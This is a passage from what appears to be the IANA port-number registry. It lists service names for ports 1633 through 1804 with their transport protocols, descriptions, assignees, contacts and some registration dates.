pammrpc            1633        udp    PAMMRPC                      [John_Britton]                                        [John_Britton]
loaprobe           1634        tcp    Log On America Probe         [James_Tavares]                                       [James_Tavares]
loaprobe           1634        udp    Log On America Probe         [James_Tavares]                                       [James_Tavares]
edb-server1        1635        tcp    EDB Server 1                 [Carlos_Portela]                                      [Carlos_Portela]
edb-server1        1635        udp    EDB Server 1                 [Carlos_Portela]                                      [Carlos_Portela]
isdc               1636        tcp    ISP shared public data
                                      control
isdc               1636        udp    ISP shared public data
                                      control
islc               1637        tcp    ISP shared local data
                                      control
islc               1637        udp    ISP shared local data
                                      control
ismc               1638        tcp    ISP shared management        [Nick_Austin]                                         [Nick_Austin]
                                      control
ismc               1638        udp    ISP shared management        [Nick_Austin]                                         [Nick_Austin]
                                      control
cert-initiator     1639        tcp    cert-initiator
cert-initiator     1639        udp    cert-initiator
cert-responder     1640        tcp    cert-responder               [Tom_Markson]                                         [Tom_Markson]
cert-responder     1640        udp    cert-responder               [Tom_Markson]                                         [Tom_Markson]
invision           1641        tcp    InVision                     [Christopher_Davey]                                   [Christopher_Davey]
invision           1641        udp    InVision                     [Christopher_Davey]                                   [Christopher_Davey]
isis-am            1642        tcp    isis-am
isis-am            1642        udp    isis-am
isis-ambc          1643        tcp    isis-ambc                    [Ken_Chapman]                                         [Ken_Chapman]
isis-ambc          1643        udp    isis-ambc                    [Ken_Chapman]                                         [Ken_Chapman]
saiseh             1644        tcp    Satellite-data Acquisition   [Bill_Taylor]                                         [Bill_Taylor]
                                      System 4
saiseh             1644        udp    Satellite-data Acquisition   [Bill_Taylor]                                         [Bill_Taylor]
                                      System 4
sightline          1645        tcp    SightLine                    [admin]                                               [admin]
sightline          1645        udp    SightLine                    [admin]                                               [admin]
sa-msg-port        1646        tcp    sa-msg-port                  [Eric_Whitehill]                                      [Eric_Whitehill]
sa-msg-port        1646        udp    sa-msg-port                  [Eric_Whitehill]                                      [Eric_Whitehill]
rsap               1647        tcp    rsap                         [Holger_Reif]                                         [Holger_Reif]
rsap               1647        udp    rsap                         [Holger_Reif]                                         [Holger_Reif]
concurrent-lm      1648        tcp    concurrent-lm                [Maggie_Brinsford]                                    [Maggie_Brinsford]
concurrent-lm      1648        udp    concurrent-lm                [Maggie_Brinsford]                                    [Maggie_Brinsford]
kermit             1649        tcp    kermit                       [Frank_da_Cruz]                                       [Frank_da_Cruz]
kermit             1649        udp    kermit                       [Frank_da_Cruz]                                       [Frank_da_Cruz]
nkd                1650        tcp    nkdn
nkd                1650        udp    nkd
                                      shiva_confsrvr

shiva-confsrvr     1651        tcp    IANA assigned this           [Mike_Horowitz]                                       [Mike_Horowitz]
                                      well-formed service name as
                                      a replacement for
                                      "shiva_confsrvr".
                                                                                                                                                                                                                                                                                  This entry is an alias to "shiva-confsrvr". This entry is now
shiva_confsrvr     1651        tcp    shiva_confsrvr               [Mike_Horowitz]                                       [Mike_Horowitz]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      shiva_confsrvr

shiva-confsrvr     1651        udp    IANA assigned this           [Mike_Horowitz]                                       [Mike_Horowitz]
                                      well-formed service name as
                                      a replacement for
                                      "shiva_confsrvr".
                                                                                                                                                                                                                                                                                  This entry is an alias to "shiva-confsrvr". This entry is now
shiva_confsrvr     1651        udp    shiva_confsrvr               [Mike_Horowitz]                                       [Mike_Horowitz]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
xnmp               1652        tcp    xnmp                         [Ali_Saleh]                                           [Ali_Saleh]
xnmp               1652        udp    xnmp                         [Ali_Saleh]                                           [Ali_Saleh]
alphatech-lm       1653        tcp    alphatech-lm                 [Joseph_Hauk]                                         [Joseph_Hauk]
alphatech-lm       1653        udp    alphatech-lm                 [Joseph_Hauk]                                         [Joseph_Hauk]
stargatealerts     1654        tcp    stargatealerts               [Tim_Coppernoll]                                      [Tim_Coppernoll]
stargatealerts     1654        udp    stargatealerts               [Tim_Coppernoll]                                      [Tim_Coppernoll]
dec-mbadmin        1655        tcp    dec-mbadmin
dec-mbadmin        1655        udp    dec-mbadmin
dec-mbadmin-h      1656        tcp    dec-mbadmin-h                [Nick_Shipman]                                        [Nick_Shipman]
dec-mbadmin-h      1656        udp    dec-mbadmin-h                [Nick_Shipman]                                        [Nick_Shipman]
fujitsu-mmpdc      1657        tcp    fujitsu-mmpdc                [Katsumi_Oomuro]                                      [Katsumi_Oomuro]
fujitsu-mmpdc      1657        udp    fujitsu-mmpdc                [Katsumi_Oomuro]                                      [Katsumi_Oomuro]
sixnetudr          1658        tcp    sixnetudr                    [Red_Lion_Controls]                                   [Denis_Aull]                                                           2014-05-21
sixnetudr          1658        udp    sixnetudr                    [Red_Lion_Controls]                                   [Denis_Aull]                                                           2014-05-21
sg-lm              1659        tcp    Silicon Grail License        [William_R_Bishop]                                    [William_R_Bishop]
                                      Manager
sg-lm              1659        udp    Silicon Grail License        [William_R_Bishop]                                    [William_R_Bishop]
                                      Manager
skip-mc-gikreq     1660        tcp    skip-mc-gikreq               [Tom_Markson]                                         [Tom_Markson]
skip-mc-gikreq     1660        udp    skip-mc-gikreq               [Tom_Markson]                                         [Tom_Markson]
netview-aix-1      1661        tcp    netview-aix-1
netview-aix-1      1661        udp    netview-aix-1
netview-aix-2      1662        tcp    netview-aix-2
netview-aix-2      1662        udp    netview-aix-2
netview-aix-3      1663        tcp    netview-aix-3
netview-aix-3      1663        udp    netview-aix-3
netview-aix-4      1664        tcp    netview-aix-4
netview-aix-4      1664        udp    netview-aix-4
netview-aix-5      1665        tcp    netview-aix-5
netview-aix-5      1665        udp    netview-aix-5
netview-aix-6      1666        tcp    netview-aix-6
netview-aix-6      1666        udp    netview-aix-6
netview-aix-7      1667        tcp    netview-aix-7
netview-aix-7      1667        udp    netview-aix-7
netview-aix-8      1668        tcp    netview-aix-8
netview-aix-8      1668        udp    netview-aix-8
netview-aix-9      1669        tcp    netview-aix-9
netview-aix-9      1669        udp    netview-aix-9
netview-aix-10     1670        tcp    netview-aix-10
netview-aix-10     1670        udp    netview-aix-10
netview-aix-11     1671        tcp    netview-aix-11
netview-aix-11     1671        udp    netview-aix-11
netview-aix-12     1672        tcp    netview-aix-12               [Martha_Crisson]                                      [Martha_Crisson]
netview-aix-12     1672        udp    netview-aix-12               [Martha_Crisson]                                      [Martha_Crisson]
proshare-mc-1      1673        tcp    Intel Proshare Multicast
proshare-mc-1      1673        udp    Intel Proshare Multicast
proshare-mc-2      1674        tcp    Intel Proshare Multicast     [Mark_Lewis]                                          [Mark_Lewis]
proshare-mc-2      1674        udp    Intel Proshare Multicast     [Mark_Lewis]                                          [Mark_Lewis]
pdp                1675        tcp    Pacific Data Products        [Gary_Morton]                                         [Gary_Morton]
pdp                1675        udp    Pacific Data Products        [Gary_Morton]                                         [Gary_Morton]
netcomm1           1676        tcp    netcomm1
netcomm2           1676        udp    netcomm2                     [Bulent_Kasman]                                       [Bulent_Kasman]
groupwise          1677        tcp    groupwise                    [Brent_Bradshaw]                                      [Brent_Bradshaw]
groupwise          1677        udp    groupwise                    [Brent_Bradshaw]                                      [Brent_Bradshaw]
prolink            1678        tcp    prolink                      [Brian_Abramson]                                      [Brian_Abramson]
prolink            1678        udp    prolink                      [Brian_Abramson]                                      [Brian_Abramson]
darcorp-lm         1679        tcp    darcorp-lm                   [DARcorp]                                             [DARcorp]
darcorp-lm         1679        udp    darcorp-lm                   [DARcorp]                                             [DARcorp]
microcom-sbp       1680        tcp    microcom-sbp                 [Boris_B_Maiden]                                      [Boris_B_Maiden]
microcom-sbp       1680        udp    microcom-sbp                 [Boris_B_Maiden]                                      [Boris_B_Maiden]
sd-elmd            1681        tcp    sd-elmd                      [Bryan_Otey]                                          [Bryan_Otey]
sd-elmd            1681        udp    sd-elmd                      [Bryan_Otey]                                          [Bryan_Otey]
lanyon-lantern     1682        tcp    lanyon-lantern               [Robin_Lewis]                                         [Robin_Lewis]
lanyon-lantern     1682        udp    lanyon-lantern               [Robin_Lewis]                                         [Robin_Lewis]
ncpm-hip           1683        tcp    ncpm-hip                     [Ken_Hearn]                                           [Ken_Hearn]
ncpm-hip           1683        udp    ncpm-hip                     [Ken_Hearn]                                           [Ken_Hearn]
snaresecure        1684        tcp    SnareSecure                  [Marty_Batchelder]                                    [Marty_Batchelder]
snaresecure        1684        udp    SnareSecure                  [Marty_Batchelder]                                    [Marty_Batchelder]
n2nremote          1685        tcp    n2nremote                    [Kin_Chan_2]                                          [Kin_Chan_2]
n2nremote          1685        udp    n2nremote                    [Kin_Chan_2]                                          [Kin_Chan_2]
cvmon              1686        tcp    cvmon                        [Carol_Ann_Krug]                                      [Carol_Ann_Krug]
cvmon              1686        udp    cvmon                        [Carol_Ann_Krug]                                      [Carol_Ann_Krug]
nsjtp-ctrl         1687        tcp    nsjtp-ctrl
nsjtp-ctrl         1687        udp    nsjtp-ctrl
nsjtp-data         1688        tcp    nsjtp-data                   [Orazio_Granato]                                      [Orazio_Granato]
nsjtp-data         1688        udp    nsjtp-data                   [Orazio_Granato]                                      [Orazio_Granato]
firefox            1689        tcp    firefox                      [Mark_S_Edwards]                                      [Mark_S_Edwards]
firefox            1689        udp    firefox                      [Mark_S_Edwards]                                      [Mark_S_Edwards]
ng-umds            1690        tcp    ng-umds                      [Louis_E_Simard]                                      [Louis_E_Simard]
ng-umds            1690        udp    ng-umds                      [Louis_E_Simard]                                      [Louis_E_Simard]
empire-empuma      1691        tcp    empire-empuma                [Bobby_Krupczak]                                      [Bobby_Krupczak]
empire-empuma      1691        udp    empire-empuma                [Bobby_Krupczak]                                      [Bobby_Krupczak]
sstsys-lm          1692        tcp    sstsys-lm                    [Yih_Wu_Wang]                                         [Yih_Wu_Wang]
sstsys-lm          1692        udp    sstsys-lm                    [Yih_Wu_Wang]                                         [Yih_Wu_Wang]
rrirtr             1693        tcp    rrirtr
rrirtr             1693        udp    rrirtr
rrimwm             1694        tcp    rrimwm
rrimwm             1694        udp    rrimwm
rrilwm             1695        tcp    rrilwm
rrilwm             1695        udp    rrilwm
rrifmm             1696        tcp    rrifmm
rrifmm             1696        udp    rrifmm
rrisat             1697        tcp    rrisat                       [Allen_Briggs]                                        [Allen_Briggs]
rrisat             1697        udp    rrisat                       [Allen_Briggs]                                        [Allen_Briggs]
rsvp-encap-1       1698        tcp    RSVP-ENCAPSULATION-1
rsvp-encap-1       1698        udp    RSVP-ENCAPSULATION-1
rsvp-encap-2       1699        tcp    RSVP-ENCAPSULATION-2         [Bob_Braden_2]                                        [Bob_Braden_2]
rsvp-encap-2       1699        udp    RSVP-ENCAPSULATION-2         [Bob_Braden_2]                                        [Bob_Braden_2]
mps-raft           1700        tcp    mps-raft                     [Jason_Leupen]                                        [Jason_Leupen]
mps-raft           1700        udp    mps-raft                     [Jason_Leupen]                                        [Jason_Leupen]
l2f                1701        tcp    l2f
l2f                1701        udp    l2f
l2tp               1701        tcp    l2tp                         [Andy_Valencia]                                       [Andy_Valencia]
l2tp               1701        udp    l2tp                         [Andy_Valencia]                                       [Andy_Valencia]
deskshare          1702        tcp    deskshare                    [Sarah_Thompson]                                      [Sarah_Thompson]
deskshare          1702        udp    deskshare                    [Sarah_Thompson]                                      [Sarah_Thompson]
hb-engine          1703        tcp    hb-engine                    [Charles_C_L_Chou]                                    [Charles_C_L_Chou]
hb-engine          1703        udp    hb-engine                    [Charles_C_L_Chou]                                    [Charles_C_L_Chou]
bcs-broker         1704        tcp    bcs-broker                   [Andy_Warner]                                         [Andy_Warner]
bcs-broker         1704        udp    bcs-broker                   [Andy_Warner]                                         [Andy_Warner]
slingshot          1705        tcp    slingshot                    [Paul_Groarke]                                        [Paul_Groarke]
slingshot          1705        udp    slingshot                    [Paul_Groarke]                                        [Paul_Groarke]
jetform            1706        tcp    jetform                      [gdeinsta]                                            [gdeinsta]
jetform            1706        udp    jetform                      [gdeinsta]                                            [gdeinsta]
vdmplay            1707        tcp    vdmplay                      [David_Thielen]                                       [David_Thielen]
vdmplay            1707        udp    vdmplay                      [David_Thielen]                                       [David_Thielen]
gat-lmd            1708        tcp    gat-lmd                      [Igor_Zaoutine]                                       [Igor_Zaoutine]
gat-lmd            1708        udp    gat-lmd                      [Igor_Zaoutine]                                       [Igor_Zaoutine]
centra             1709        tcp    centra                       [Drew_Wolff]                                          [Drew_Wolff]
centra             1709        udp    centra                       [Drew_Wolff]                                          [Drew_Wolff]
impera             1710        tcp    impera                       [Stepehen_Campbell]                                   [Stepehen_Campbell]
impera             1710        udp    impera                       [Stepehen_Campbell]                                   [Stepehen_Campbell]
pptconference      1711        tcp    pptconference                [John_Tafoya]                                         [John_Tafoya]
pptconference      1711        udp    pptconference                [John_Tafoya]                                         [John_Tafoya]
registrar          1712        tcp    resource monitoring service  [Ron_Lawson]                                          [Ron_Lawson]
registrar          1712        udp    resource monitoring service  [Ron_Lawson]                                          [Ron_Lawson]
conferencetalk     1713        tcp    ConferenceTalk               [George_Kajos]                                        [George_Kajos]
conferencetalk     1713        udp    ConferenceTalk               [George_Kajos]                                        [George_Kajos]
sesi-lm            1714        tcp    sesi-lm
sesi-lm            1714        udp    sesi-lm
houdini-lm         1715        tcp    houdini-lm                   [Paul_Breslin]                                        [Paul_Breslin]
houdini-lm         1715        udp    houdini-lm                   [Paul_Breslin]                                        [Paul_Breslin]
xmsg               1716        tcp    xmsg                         [Mark_E_Fogle]                                        [Mark_E_Fogle]
xmsg               1716        udp    xmsg                         [Mark_E_Fogle]                                        [Mark_E_Fogle]
fj-hdnet           1717        tcp    fj-hdnet                     [Manabu_Makino]                                       [Manabu_Makino]
fj-hdnet           1717        udp    fj-hdnet                     [Manabu_Makino]                                       [Manabu_Makino]
h323gatedisc       1718        tcp    H.323 Multicast Gatekeeper   [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Discover
h323gatedisc       1718        udp    H.323 Multicast Gatekeeper   [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Discover
h323gatestat       1719        tcp    H.323 Unicast Gatekeeper     [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signaling
h323gatestat       1719        udp    H.323 Unicast Gatekeeper     [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signaling
h323hostcall       1720        tcp    H.323 Call Control           [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signalling
h323hostcall       1720        udp    H.323 Call Control           [ITU-T]                                               [ITU-T_TSB]                                                            2013-01-31
                                      Signalling
h323hostcall       1720       sctp    H.323 Call Control           [ITU-T]                                                                                                         2014-07-30
caicci             1721        tcp    caicci                       [Sylvia_Scheuren]                                     [Sylvia_Scheuren]
caicci             1721        udp    caicci                       [Sylvia_Scheuren]                                     [Sylvia_Scheuren]
hks-lm             1722        tcp    HKS License Manager          [Michael_Wood]                                        [Michael_Wood]
hks-lm             1722        udp    HKS License Manager          [Michael_Wood]                                        [Michael_Wood]
pptp               1723        tcp    pptp                         [Ken_Crocker]                                         [Ken_Crocker]
pptp               1723        udp    pptp                         [Ken_Crocker]                                         [Ken_Crocker]
csbphonemaster     1724        tcp    csbphonemaster               [Hans_Peter_Heffels]                                  [Hans_Peter_Heffels]
csbphonemaster     1724        udp    csbphonemaster               [Hans_Peter_Heffels]                                  [Hans_Peter_Heffels]
iden-ralp          1725        tcp    iden-ralp                    [Chris_Stanaway]                                      [Chris_Stanaway]
iden-ralp          1725        udp    iden-ralp                    [Chris_Stanaway]                                      [Chris_Stanaway]
iberiagames        1726        tcp    IBERIAGAMES                  [Jose_Luis]                                           [Jose_Luis]
iberiagames        1726        udp    IBERIAGAMES                  [Jose_Luis]                                           [Jose_Luis]
winddx             1727        tcp    winddx                       [Bill_Andrews]                                        [Bill_Andrews]
winddx             1727        udp    winddx                       [Bill_Andrews]                                        [Bill_Andrews]
telindus           1728        tcp    TELINDUS                     [Paul_Pyck]                                           [Paul_Pyck]
telindus           1728        udp    TELINDUS                     [Paul_Pyck]                                           [Paul_Pyck]
citynl             1729        tcp    CityNL License Management    [CityDisc]                                            [CityDisc]
citynl             1729        udp    CityNL License Management    [CityDisc]                                            [CityDisc]
roketz             1730        tcp    roketz                       [Ahti_Heinla]                                         [Ahti_Heinla]
roketz             1730        udp    roketz                       [Ahti_Heinla]                                         [Ahti_Heinla]
msiccp             1731        tcp    MSICCP                       [Max_Morris]                                          [Max_Morris]
msiccp             1731        udp    MSICCP                       [Max_Morris]                                          [Max_Morris]
proxim             1732        tcp    proxim                       [Srinivas_N_Mogalapa]                                 [Srinivas_N_Mogalapa]
proxim             1732        udp    proxim                       [Srinivas_N_Mogalapa]                                 [Srinivas_N_Mogalapa]
siipat             1733        tcp    SIMS - SIIPAT Protocol for   [Steve_Ryckman]                                       [Steve_Ryckman]
                                      Alarm Transmission
siipat             1733        udp    SIMS - SIIPAT Protocol for   [Steve_Ryckman]                                       [Steve_Ryckman]
                                      Alarm Transmission
cambertx-lm        1734        tcp    Camber Corporation License   [Jeannie_Burleson]                                    [Jeannie_Burleson]
                                      Management
cambertx-lm        1734        udp    Camber Corporation License   [Jeannie_Burleson]                                    [Jeannie_Burleson]
                                      Management
privatechat        1735        tcp    PrivateChat                  [Louis_E_Simard]                                      [Louis_E_Simard]
privatechat        1735        udp    PrivateChat                  [Louis_E_Simard]                                      [Louis_E_Simard]
street-stream      1736        tcp    street-stream                [Glenn_Levitt]                                        [Glenn_Levitt]
street-stream      1736        udp    street-stream                [Glenn_Levitt]                                        [Glenn_Levitt]
ultimad            1737        tcp    ultimad                      [Michael_Lanzetta]                                    [Michael_Lanzetta]
ultimad            1737        udp    ultimad                      [Michael_Lanzetta]                                    [Michael_Lanzetta]
gamegen1           1738        tcp    GameGen1                     [Glen_Pearson]                                        [Glen_Pearson]
gamegen1           1738        udp    GameGen1                     [Glen_Pearson]                                        [Glen_Pearson]
webaccess          1739        tcp    webaccess                    [Christian_Saether]                                   [Christian_Saether]
webaccess          1739        udp    webaccess                    [Christian_Saether]                                   [Christian_Saether]
encore             1740        tcp    encore                       [Stuart_Button]                                       [Stuart_Button]
encore             1740        udp    encore                       [Stuart_Button]                                       [Stuart_Button]
cisco-net-mgmt     1741        tcp    cisco-net-mgmt               [John_McCormack]                                      [John_McCormack]
cisco-net-mgmt     1741        udp    cisco-net-mgmt               [John_McCormack]                                      [John_McCormack]
3Com-nsd           1742        tcp    3Com-nsd                     [Nitza_Steinberg]                                     [Nitza_Steinberg]
3Com-nsd           1742        udp    3Com-nsd                     [Nitza_Steinberg]                                     [Nitza_Steinberg]
cinegrfx-lm        1743        tcp    Cinema Graphics License      [Rodney_Iwashina]                                     [Rodney_Iwashina]
                                      Manager
cinegrfx-lm        1743        udp    Cinema Graphics License      [Rodney_Iwashina]                                     [Rodney_Iwashina]
                                      Manager
ncpm-ft            1744        tcp    ncpm-ft                      [Ken_Hearn]                                           [Ken_Hearn]
ncpm-ft            1744        udp    ncpm-ft                      [Ken_Hearn]                                           [Ken_Hearn]
remote-winsock     1745        tcp    remote-winsock               [Avi_Nathan]                                          [Avi_Nathan]
remote-winsock     1745        udp    remote-winsock               [Avi_Nathan]                                          [Avi_Nathan]
ftrapid-1          1746        tcp    ftrapid-1
ftrapid-1          1746        udp    ftrapid-1
ftrapid-2          1747        tcp    ftrapid-2                    [Richard_J_Williams]                                  [Richard_J_Williams]
ftrapid-2          1747        udp    ftrapid-2                    [Richard_J_Williams]                                  [Richard_J_Williams]
oracle-em1         1748        tcp    oracle-em1                   [Bob_Purvy]                                           [Bob_Purvy]
oracle-em1         1748        udp    oracle-em1                   [Bob_Purvy]                                           [Bob_Purvy]
aspen-services     1749        tcp    aspen-services               [Mark_B_Hurst]                                        [Mark_B_Hurst]
aspen-services     1749        udp    aspen-services               [Mark_B_Hurst]                                        [Mark_B_Hurst]
sslp               1750        tcp    Simple Socket Library's      [Dr_Charles_E_Campb]                                  [Dr_Charles_E_Campb]
                                      PortMaster
sslp               1750        udp    Simple Socket Library's      [Dr_Charles_E_Campb]                                  [Dr_Charles_E_Campb]
                                      PortMaster
swiftnet           1751        tcp    SwiftNet                     [Terry_Lim]                                           [Terry_Lim]
swiftnet           1751        udp    SwiftNet                     [Terry_Lim]                                           [Terry_Lim]
lofr-lm            1752        tcp    Leap of Faith Research
                                      License Manager
lofr-lm            1752        udp    Leap of Faith Research
                                      License Manager
predatar-comms     1753        tcp    Predatar Comms Service       [Silverstring_Ltd]                                    [Ronnie_De_Giorgio]                                       2011-09-15
                   1753        udp    Reserved
oracle-em2         1754        tcp    oracle-em2                   [Bob_Purvy]                                           [Bob_Purvy]
oracle-em2         1754        udp    oracle-em2                   [Bob_Purvy]                                           [Bob_Purvy]
ms-streaming       1755        tcp    ms-streaming                 [Bret_O_Rourke]                                       [Bret_O_Rourke]
ms-streaming       1755        udp    ms-streaming                 [Bret_O_Rourke]                                       [Bret_O_Rourke]
capfast-lmd        1756        tcp    capfast-lmd                  [Chuck_Neal]                                          [Chuck_Neal]
capfast-lmd        1756        udp    capfast-lmd                  [Chuck_Neal]                                          [Chuck_Neal]
cnhrp              1757        tcp    cnhrp                        [William_Stoye]                                       [William_Stoye]
cnhrp              1757        udp    cnhrp                        [William_Stoye]                                       [William_Stoye]
tftp-mcast         1758        tcp    tftp-mcast                   [Tom_Emberson]                                        [Tom_Emberson]
tftp-mcast         1758        udp    tftp-mcast                   [Tom_Emberson]                                        [Tom_Emberson]
spss-lm            1759        tcp    SPSS License Manager         [Tex_Hull]                                            [Tex_Hull]
spss-lm            1759        udp    SPSS License Manager         [Tex_Hull]                                            [Tex_Hull]
www-ldap-gw        1760        tcp    www-ldap-gw                  [Nick_Emery]                                          [Nick_Emery]
www-ldap-gw        1760        udp    www-ldap-gw                  [Nick_Emery]                                          [Nick_Emery]
cft-0              1761        tcp    cft-0                        [Martine_Marchand]                                    [Martine_Marchand]
cft-0              1761        udp    cft-0                        [Martine_Marchand]                                    [Martine_Marchand]
cft-1              1762        tcp    cft-1                        [Martine_Marchand]                                    [Martine_Marchand]
cft-1              1762        udp    cft-1                        [Martine_Marchand]                                    [Martine_Marchand]
cft-2              1763        tcp    cft-2                        [Martine_Marchand]                                    [Martine_Marchand]
cft-2              1763        udp    cft-2                        [Martine_Marchand]                                    [Martine_Marchand]
cft-3              1764        tcp    cft-3                        [Martine_Marchand]                                    [Martine_Marchand]
cft-3              1764        udp    cft-3                        [Martine_Marchand]                                    [Martine_Marchand]
cft-4              1765        tcp    cft-4                        [Martine_Marchand]                                    [Martine_Marchand]
cft-4              1765        udp    cft-4                        [Martine_Marchand]                                    [Martine_Marchand]
cft-5              1766        tcp    cft-5                        [Martine_Marchand]                                    [Martine_Marchand]
cft-5              1766        udp    cft-5                        [Martine_Marchand]                                    [Martine_Marchand]
cft-6              1767        tcp    cft-6                        [Martine_Marchand]                                    [Martine_Marchand]
cft-6              1767        udp    cft-6                        [Martine_Marchand]                                    [Martine_Marchand]
cft-7              1768        tcp    cft-7                        [Martine_Marchand]                                    [Martine_Marchand]
cft-7              1768        udp    cft-7                        [Martine_Marchand]                                    [Martine_Marchand]
bmc-net-adm        1769        tcp    bmc-net-adm                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-net-adm        1769        udp    bmc-net-adm                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-net-svc        1770        tcp    bmc-net-svc                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
bmc-net-svc        1770        udp    bmc-net-svc                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
vaultbase          1771        tcp    vaultbase                    [Jose_A_Sesin]                                        [Jose_A_Sesin]
vaultbase          1771        udp    vaultbase                    [Jose_A_Sesin]                                        [Jose_A_Sesin]
essweb-gw          1772        tcp    EssWeb Gateway               [Bob_Nattenberg]                                      [Bob_Nattenberg]
essweb-gw          1772        udp    EssWeb Gateway               [Bob_Nattenberg]                                      [Bob_Nattenberg]
kmscontrol         1773        tcp    KMSControl                   [Roy_Chastain]                                        [Roy_Chastain]
kmscontrol         1773        udp    KMSControl                   [Roy_Chastain]                                        [Roy_Chastain]
global-dtserv      1774        tcp    global-dtserv                [Nicholas_Davies]                                     [Nicholas_Davies]
global-dtserv      1774        udp    global-dtserv                [Nicholas_Davies]                                     [Nicholas_Davies]
vdab               1775        tcp    data interchange between     [MJA_Technology_LLC]                                  [Mark_J._App]                                             2014-04-23
                                      visual processing containers
                   1775        udp    Reserved
femis              1776        tcp    Federal Emergency Management [Larry_Gerhardstein]                                  [Larry_Gerhardstein]
                                      Information System
femis              1776        udp    Federal Emergency Management [Larry_Gerhardstein]                                  [Larry_Gerhardstein]
                                      Information System
powerguardian      1777        tcp    powerguardian                [Charles_Bennett]                                     [Charles_Bennett]                                         2008-08-29
powerguardian      1777        udp    powerguardian                [Charles_Bennett]                                     [Charles_Bennett]                                         2008-08-29
prodigy-intrnet    1778        tcp    prodigy-internet             [Bob_Dedrick]                                         [Bob_Dedrick]
prodigy-intrnet    1778        udp    prodigy-internet             [Bob_Dedrick]                                         [Bob_Dedrick]
pharmasoft         1779        tcp    pharmasoft                   [Ola_Strandberg]                                      [Ola_Strandberg]
pharmasoft         1779        udp    pharmasoft                   [Ola_Strandberg]                                      [Ola_Strandberg]
dpkeyserv          1780        tcp    dpkeyserv                    [Yasunari_Gon_Yamasit]                                [Yasunari_Gon_Yamasit]
dpkeyserv          1780        udp    dpkeyserv                    [Yasunari_Gon_Yamasit]                                [Yasunari_Gon_Yamasit]
answersoft-lm      1781        tcp    answersoft-lm                [James_A_Brewster]                                    [James_A_Brewster]
answersoft-lm      1781        udp    answersoft-lm                [James_A_Brewster]                                    [James_A_Brewster]
hp-hcip            1782        tcp    hp-hcip                      [Allen_Baker]                                         [Allen_Baker]
hp-hcip            1782        udp    hp-hcip                      [Allen_Baker]                                         [Allen_Baker]
                   1783               Decomissioned Port 04/14/00, [naonao]                                              [naonao]
                                      ms
finle-lm           1784        tcp    Finle License Manager        [Dongling_Wang]                                       [Dongling_Wang]
finle-lm           1784        udp    Finle License Manager        [Dongling_Wang]                                       [Dongling_Wang]
windlm             1785        tcp    Wind River Systems License   [Will_Dere]                                           [Will_Dere]
                                      Manager
windlm             1785        udp    Wind River Systems License   [Will_Dere]                                           [Will_Dere]
                                      Manager
funk-logger        1786        tcp    funk-logger
funk-logger        1786        udp    funk-logger
funk-license       1787        tcp    funk-license                 [Cimarron_Boozer][Eric_Wilde]                         [Cimarron_Boozer][Eric_Wilde]
funk-license       1787        udp    funk-license                 [Cimarron_Boozer][Eric_Wilde]                         [Cimarron_Boozer][Eric_Wilde]
psmond             1788        tcp    psmond                       [Will_Golson]                                         [Will_Golson]
psmond             1788        udp    psmond                       [Will_Golson]                                         [Will_Golson]
hello              1789        tcp    hello                        [D_J_Bernstein]                                       [D_J_Bernstein]                                                        2018-04-05
hello              1789        udp    hello                        [D_J_Bernstein]                                       [D_J_Bernstein]                                                        2018-04-05
nmsp               1790        tcp    Narrative Media Streaming    [Paul_Santinelli_Jr]                                  [Paul_Santinelli_Jr]
                                      Protocol
nmsp               1790        udp    Narrative Media Streaming    [Paul_Santinelli_Jr]                                  [Paul_Santinelli_Jr]
                                      Protocol
ea1                1791        tcp    EA1                          [Kirk_MacLean]                                        [Kirk_MacLean]
ea1                1791        udp    EA1                          [Kirk_MacLean]                                        [Kirk_MacLean]
ibm-dt-2           1792        tcp    ibm-dt-2                     [Sam_Borman]                                          [Sam_Borman]
ibm-dt-2           1792        udp    ibm-dt-2                     [Sam_Borman]                                          [Sam_Borman]
rsc-robot          1793        tcp    rsc-robot                    [Andrew_Jay_Schneider]                                [Andrew_Jay_Schneider]
rsc-robot          1793        udp    rsc-robot                    [Andrew_Jay_Schneider]                                [Andrew_Jay_Schneider]
cera-bcm           1794        tcp    cera-bcm                     [Leo_Moesgaard]                                       [Leo_Moesgaard]
cera-bcm           1794        udp    cera-bcm                     [Leo_Moesgaard]                                       [Leo_Moesgaard]
dpi-proxy          1795        tcp    dpi-proxy                    [Charles_Gordon]                                      [Charles_Gordon]
dpi-proxy          1795        udp    dpi-proxy                    [Charles_Gordon]                                      [Charles_Gordon]
vocaltec-admin     1796        tcp    Vocaltec Server              [Scott_Petrack]                                       [Scott_Petrack]
                                      Administration
vocaltec-admin     1796        udp    Vocaltec Server              [Scott_Petrack]                                       [Scott_Petrack]
                                      Administration
uma                1797        tcp    UMA                          [Martin_Kirk]                                         [Martin_Kirk]
uma                1797        udp    UMA                          [Martin_Kirk]                                         [Martin_Kirk]
etp                1798        tcp    Event Transfer Protocol      [Mike_Wray]                                           [Mike_Wray]
etp                1798        udp    Event Transfer Protocol      [Mike_Wray]                                           [Mike_Wray]
netrisk            1799        tcp    NETRISK                      [Kevin_Green]                                         [Kevin_Green]
netrisk            1799        udp    NETRISK                      [Kevin_Green]                                         [Kevin_Green]
ansys-lm           1800        tcp    ANSYS-License manager        [Suzanne_Lorrin_2]                                    [Suzanne_Lorrin_2]
ansys-lm           1800        udp    ANSYS-License manager        [Suzanne_Lorrin_2]                                    [Suzanne_Lorrin_2]
msmq               1801        tcp    Microsoft Message Que        [Amnon_Horowitz]                                      [Amnon_Horowitz]
msmq               1801        udp    Microsoft Message Que        [Amnon_Horowitz]                                      [Amnon_Horowitz]
concomp1           1802        tcp    ConComp1                     [Ed_Vincent]                                          [Ed_Vincent]
concomp1           1802        udp    ConComp1                     [Ed_Vincent]                                          [Ed_Vincent]
hp-hcip-gwy        1803        tcp    HP-HCIP-GWY                  [Allen_Baker]                                         [Allen_Baker]
hp-hcip-gwy        1803        udp    HP-HCIP-GWY                  [Allen_Baker]                                         [Allen_Baker]
enl                1804        tcp    ENL                          [Brian_Olson]                                         [Brian_Olson]
